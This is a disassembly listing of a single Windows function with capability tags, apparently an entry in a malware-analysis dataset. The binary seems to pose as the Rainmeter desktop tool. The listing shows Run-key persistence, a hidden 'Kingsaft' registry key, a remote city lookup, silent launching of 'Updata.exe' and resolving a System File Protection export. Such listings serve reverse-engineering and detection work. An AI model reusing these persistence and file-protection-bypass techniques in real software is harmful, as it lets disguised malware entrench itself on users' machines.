Function at 0x405680
Capabilities:
Accept command line arguments
Check os version
Create process on windows
Create thread
Get geographical location
Persist via run registry key
Query or enumerate registry value
Read .ini file
Resolve function by parsing pe exports
Set registry value
Terminate process

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4281eb
push eax
mov dword fs:[0], esp
sub esp, 0x204
push ebx
push ebp
push esi
push edi
xor ebp, ebp
push str.MCRAINMETER
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_CreateEventA]
cmp eax, ebp
je 0x4056c6
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4056c6
push ebp
call fcn.0040f727
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 0x78]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x78]
mov dword [esp + 0x78], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push 1
mov ecx, 0x438180
call fcn.00407370
mov ecx, dword [0x4346e4]
mov dword [esp + 0x38], ecx
lea ecx, [esp + 0x5c]
mov dword [esp + 0x21c], ebp
call fcn.0040dcaa
xor edi, edi
mov dword [esp + 0x28], edi
mov edx, dword [0x4346e4]
mov dword [esp + 0x2c], edx
lea eax, [esp + 0x10c]
push 0x104
push eax
push ebp
mov byte [esp + 0x228], 3
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x10c]
push 0x5c
push ecx
call fcn.0040f81a
add esp, 8
lea edx, [esp + 0x10c]
lea ecx, [esp + 0x34]
mov byte [eax + 1], 0
push edx
call fcn.0041efc1
lea eax, [esp + 0x34]
push str.Rainmeter.exe
lea ecx, [esp + 0x14]
push eax
push ecx
mov byte [esp + 0x228], 4
call fcn.0041f1e8
push eax
lea ecx, [esp + 0x38]
mov byte [esp + 0x220], 5
call fcn.0041f08c
lea ecx, [esp + 0x10]
mov byte [esp + 0x21c], 4
call fcn.0041ef53
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [esp + 0x14]
push edx
push 0xf003f
push ebp
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
mov dword [esp + 0x28], ebp
call ebx
cmp eax, ebp
jne 0x4057cd
mov edi, dword [esp + 0x14]
xor eax, eax
mov dword [esp + 0x28], edi
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x34]
push eax
mov esi, eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push esi
mov esi, 1
push esi
push ebp
push str.Rainmeter
push edi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 0x7c]
cmp eax, 6
jne 0x405805
mov dword [0x4381b8], esi
jmp 0x405821
cmp eax, 5
mov dword [0x4381b8], ebp
jne 0x405821
mov eax, dword [esp + 0x80]
mov dword [0x4381bc], esi
cmp eax, esi
je 0x405827
mov dword [0x4381bc], ebp
lea eax, [esp + 0x14]
mov dword [esp + 0x14], ebp
push eax
push 0xf003f
push ebp
push str.SOFTWAREKingsaft
push 0x80000002
call ebx
cmp eax, ebp
jne 0x40585b
xor eax, eax
cmp edi, ebp
je 0x405853
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [esp + 0x14]
mov dword [esp + 0x28], edi
cmp eax, ebp
mov dword [esp + 0x1c], eax
jne 0x4058a6
push 0x100
lea ecx, [esp + 0x30]
mov dword [esp + 0x20], 0x100
call fcn.0041f383
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x10]
push ecx
push eax
push edx
push ebp
push str.cityname
push edi
mov dword [esp + 0x28], ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0xffffffffffffffff
lea ecx, [esp + 0x30]
mov dword [esp + 0x20], eax
call fcn.0041f3d2
jmp 0x4058ea
lea eax, [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push ecx
push ebp
push 0xf003f
push ebp
push ebp
push ebp
push str.SOFTWAREKingsaft
push 0x80000002
mov dword [esp + 0x38], ebp
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp eax, ebp
jne 0x4058e6
xor eax, eax
cmp edi, ebp
je 0x4058de
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [esp + 0x14]
mov dword [esp + 0x28], edi
mov dword [esp + 0x1c], eax
mov edx, dword [esp + 0x2c]
push 0x438170
push edx
call fcn.0040ef2e
add esp, 8
test eax, eax
jne 0x405c08
push ebp
push ebp
push ebp
push ebp
push esi
push str.HttpClient
lea ecx, [esp + 0x58]
call fcn.004253d0
push ebp
push ebp
push esi
push esi
push str.http:__www.btcha.com_getcityName.php
lea ecx, [esp + 0x54]
mov byte [esp + 0x230], 6
call fcn.004254cb
mov ecx, dword [0x4346e4]
mov dword [esp + 0x20], ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
mov edx, dword [eax]
lea ecx, [esp + 0x20]
push ecx
mov ecx, eax
mov byte [esp + 0x220], 9
call dword [edx + 0x58]
lea edx, [esp + 0x10c]
lea ecx, [esp + 0x30]
push edx
call fcn.0041efc1
lea eax, [esp + 0x10c]
lea ecx, [esp + 0x24]
push eax
mov byte [esp + 0x220], 0xa
call fcn.0041efc1
lea ecx, [esp + 0x30]
push str.TQ.ini
lea edx, [esp + 0x14]
mov bl, 0xb
push ecx
push edx
mov byte [esp + 0x228], bl
call fcn.0041f1e8
push eax
lea ecx, [esp + 0x34]
mov byte [esp + 0x220], 0xc
call fcn.0041f08c
lea ecx, [esp + 0x10]
mov byte [esp + 0x21c], bl
call fcn.0041ef53
lea eax, [esp + 0x20]
lea ecx, [esp + 0x14]
push eax
call fcn.0041f08c
mov ecx, dword [esp + 0x30]
mov esi, dword [esp + 0x20]
push ecx
push 0x100
push 0x100
lea ecx, [esp + 0x24]
call fcn.0041f383
push eax
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0x432c9c
call esi
push 0xffffffffffffffff
lea ecx, [esp + 0x1c]
call fcn.0041f3d2
mov edx, dword [esp + 0x18]
push 0x438170
push edx
call fcn.0040ef2e
add esp, 8
test eax, eax
jne 0x405a5d
push 0x432c94
lea ecx, [esp + 0x24]
call fcn.0041f0dc
mov eax, dword [esp + 0x30]
mov ebp, dword [esp + 0x20]
push eax
push 0x100
push 0x100
lea ecx, [esp + 0x24]
call fcn.0041f383
push eax
push 0
push ebp
push 0x432c9c
call esi
push 0xffffffffffffffff
lea ecx, [esp + 0x1c]
call fcn.0041f3d2
xor ebp, ebp
lea ecx, [esp + 0x24]
push str.Skins_
lea edx, [esp + 0x14]
push ecx
push edx
call fcn.0041f1e8
push eax
lea ecx, [esp + 0x28]
mov byte [esp + 0x220], 0xd
call fcn.0041f08c
lea ecx, [esp + 0x10]
mov byte [esp + 0x21c], bl
call fcn.0041ef53
lea eax, [esp + 0x18]
lea ecx, [esp + 0x10]
push eax
push str.http:__xml.weather.com_weather_local_
push ecx
call fcn.0041f25c
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x220], 0xe
call fcn.0041f08c
lea ecx, [esp + 0x10]
mov byte [esp + 0x21c], bl
call fcn.0041ef53
lea edx, [esp + 0x18]
push str._ccunitmdayf6
lea eax, [esp + 0x14]
push edx
push eax
call fcn.0041f1e8
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x220], 0xf
call fcn.0041f08c
lea ecx, [esp + 0x10]
mov byte [esp + 0x21c], bl
call fcn.0041ef53
mov ecx, dword [esp + 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
push ecx
push str.255_255_255_180
push str.Farbe
push str.Variables
call esi
mov edx, dword [esp + 0x24]
mov eax, dword [esp + 0x18]
push edx
push eax
push 0x432c14
push str.Variables
call esi
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x14]
push ecx
push edx
push 0x432c10
push str.Variables
call esi
lea eax, [esp + 0x10]
mov dword [esp + 0x10], ebp
push eax
push 0xf003f
push ebp
push str.SOFTWAREKingsaft
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebp
jne 0x405b7d
cmp edi, ebp
je 0x405b75
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [esp + 0x10]
mov dword [esp + 0x28], edi
mov eax, dword [esp + 0x14]
push eax
mov esi, eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push esi
push 1
push ebp
push str.cityname
push edi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea ecx, [esp + 0x24]
mov byte [esp + 0x21c], 0xa
call fcn.0041ef53
lea ecx, [esp + 0x30]
mov byte [esp + 0x21c], 9
call fcn.0041ef53
lea ecx, [esp + 0x18]
mov byte [esp + 0x21c], 8
call fcn.0041ef53
lea ecx, [esp + 0x14]
mov byte [esp + 0x21c], 7
call fcn.0041ef53
lea ecx, [esp + 0x20]
mov byte [esp + 0x21c], 6
call fcn.0041ef53
lea ecx, [esp + 0x40]
mov byte [esp + 0x21c], 4
call fcn.0042538b
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], ebp
push ecx
push 0xf003f
push ebp
push str.SOFTWAREKingsaft
push 0x80000002
call ebx
cmp eax, ebp
jne 0x405c3c
xor eax, eax
cmp edi, ebp
je 0x405c34
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [esp + 0x10]
mov dword [esp + 0x28], edi
cmp eax, ebp
mov dword [esp + 0x1c], eax
je 0x405c88
lea edx, [esp + 0x14]
lea eax, [esp + 0x10]
push edx
push eax
push ebp
push 0xf003f
push ebp
push ebp
push ebp
push str.SOFTWAREKingsaft
push 0x80000002
mov dword [esp + 0x34], ebp
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp eax, ebp
jne 0x405c84
xor eax, eax
cmp edi, ebp
je 0x405c7c
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [esp + 0x10]
mov dword [esp + 0x28], edi
mov dword [esp + 0x1c], eax
push ebp
push str.C:WINDOWSWinSxSx86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.21022.8_x_ww_d08d0375
lea ecx, [esp + 0x64]
call fcn.0040dd6d
mov esi, dword [sym.imp.KERNEL32.dll_WinExec]
cmp eax, ebp
jne 0x405cbe
cmp dword [0x4381bc], ebp
je 0x405cbe
push ebp
push str.Updata.exe
call esi
push str.Rainmeter.exe
call fcn.00403ca0
add esp, 4
call fcn.004051a0
test eax, eax
je 0x405cd1
push 0x438284
call fcn.00404da0
lea ecx, [esp + 0x3c]
push ecx
push ebp
push ebp
push 0x402aa0
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_CreateThread]
push ebp
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call fcn.004265f2
test eax, eax
jne 0x405d68
push str.Fatal_Error:_MFC_initialization_failed
push 0x43a910
call fcn.004061d0
add esp, 8
mov esi, eax
mov ecx, esi
push 0xa
call fcn.00405f70
mov edx, dword [esi]
xor ebx, ebx
mov eax, dword [edx + 4]
add eax, esi
test byte [eax + 4], 6
jne 0x405d3f
mov eax, dword [eax + 0x28]
mov ecx, eax
mov edx, dword [eax]
call dword [edx + 0x2c]
cmp eax, 0xffffffff
jne 0x405d3f
mov ebx, 4
mov eax, dword [esi]
mov ecx, dword [eax + 4]
add ecx, esi
cmp ebx, ebp
je 0x405e60
mov eax, dword [ecx + 4]
mov edx, dword [ecx + 0x28]
or eax, ebx
cmp edx, ebp
jne 0x405d5c
or al, 4
push ebp
push eax
call fcn.0041acca
jmp 0x405e60
mov ecx, 0x438180
call fcn.004090a0
lea ecx, [esp + 0x14]
call fcn.00406490
push ebp
push str.RainmeterTrayClass
mov byte [esp + 0x224], 0x10
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
jne 0x405dc0
lea ecx, [esp + 0x14]
call fcn.004064d0
push str.Rainmeter.nls
lea ecx, [esp + 0x14]
push 0x43819c
push ecx
call fcn.0041f1e8
mov eax, dword [eax]
push 5
push eax
call esi
lea ecx, [esp + 0x10]
call fcn.0041ef53
push 1
call fcn.004054e0
push str.winlogon.exe
call fcn.00405570
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 8
push str.SFC.DLL
call ebx
mov esi, eax
cmp esi, ebp
jne 0x405dee
push str.SFC_OS.DLL
call ebx
push 2
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403da0
push 0x3e8
push ebp
push ebp
call dword [sym.imp.USER32.dll_SetTimer]
mov esi, dword [sym.imp.USER32.dll_GetMessageA]
push ebp
push ebp
lea edx, [esp + 0x48]
push ebp
push edx
call esi
test eax, eax
je 0x405e4f
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [0x438368], 1
je 0x405f13
cmp dword [esp + 0x44], 0x113
jne 0x405e41
lea eax, [esp + 0x40]
push eax
call ebx
push ebp
push ebp
lea ecx, [esp + 0x48]
push ebp
push ecx
call esi
test eax, eax
jne 0x405e23
lea ecx, [esp + 0x14]
mov byte [esp + 0x21c], 4
call fcn.004064c0
call fcn.00402a90
call fcn.00402a90
call fcn.00402a90
call fcn.00402a90
call fcn.00402a90
call fcn.00402a90
call fcn.00402a90
call fcn.00402a90
call fcn.00402a90
call fcn.00402a90
call fcn.00402a90
call fcn.00402a90
call fcn.00402a90
call fcn.00402a90
lea ecx, [esp + 0x34]
mov byte [esp + 0x21c], 3
call fcn.0041ef53
lea ecx, [esp + 0x2c]
mov byte [esp + 0x21c], 2
call fcn.0041ef53
cmp edi, ebp
je 0x405ed3
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x5c]
mov byte [esp + 0x21c], 0
call fcn.0040dce7
lea ecx, [esp + 0x38]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0041ef53
mov ecx, dword [esp + 0x214]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov dword fs:[0], ecx
add esp, 0x210
ret
push str.iexplore.exe
call fcn.00403ca0
add esp, 4
mov ecx, 0x438180
call fcn.00408af0
lea ecx, [esp + 0x14]
mov byte [esp + 0x21c], 4
call fcn.004064c0
lea ecx, [esp + 0x34]
mov byte [esp + 0x21c], 3
call fcn.0041ef53
lea ecx, [esp + 0x2c]
mov byte [esp + 0x21c], 2
call fcn.0041ef53
cmp edi, ebp
je 0x405ed3
jmp 0x405ecc